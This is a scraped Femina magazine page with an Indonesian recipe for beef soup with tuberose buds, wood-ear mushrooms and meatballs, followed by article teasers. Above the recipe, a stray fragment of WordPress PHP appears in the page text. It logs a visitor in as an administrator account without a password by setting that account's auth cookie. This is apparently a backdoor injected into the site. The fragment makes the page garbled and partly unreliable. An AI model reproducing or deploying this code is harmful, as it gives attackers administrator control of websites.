Sup Daging Sapi Sedap Malam

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Daging

6 Apr 2016

Terinspirasi sup kimlo. Bunga sedap malam dan jamur kuping diperkaya kaldu sapi dan daging sandung lamur. Lebih gurih!

Bahan:
200 g daging sapi sandung lamur
2 l air
2 sdm minyak sayur
6 butir bawang merah, haluskan
4 siung bawang putih, haluskan
1½ sdt garam
½ sdt merica putih bubuk

Isi:
200 g wortel, iris bulat tipis
30 g jamur kuping, rendam air hangat, iris tipis
30 g bunga sedap malam, simpulkan, rendam air hangat
6 buah bakso sapi, iris bulat tipis
Sambal, haluskan:

10 buah cabai rawit merah
½ sdm cuka
½ sdt garam

Pelengkap:
50 g bawang daun, iris tipis
50 g daun seledri, iris tipis
15 g bawang merah goreng

Cara Membuat:
1.   Rebus daging sapi dan air hingga daging berubah warna, angkat. Saring kaldunya sebanyak 1½ l. Sisihkan kaldu, potong dadu daging sapi 1 cm.
2.   Panaskan minyak, tumis semua bawang hingga harum. Masukkan ke dalam kaldu, aduk rata. Didihkan kaldu.
3.   Masukkan wortel, jamur, bunga sedap malam, dan bakso ke dalam kaldu. Masak hingga matang. Masukkan daging sapi, aduk rata sejenak. Angkat.
4.   Sajikan hangat disertai sambal dan pelengkap. (f)

Untuk 6 porsi

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id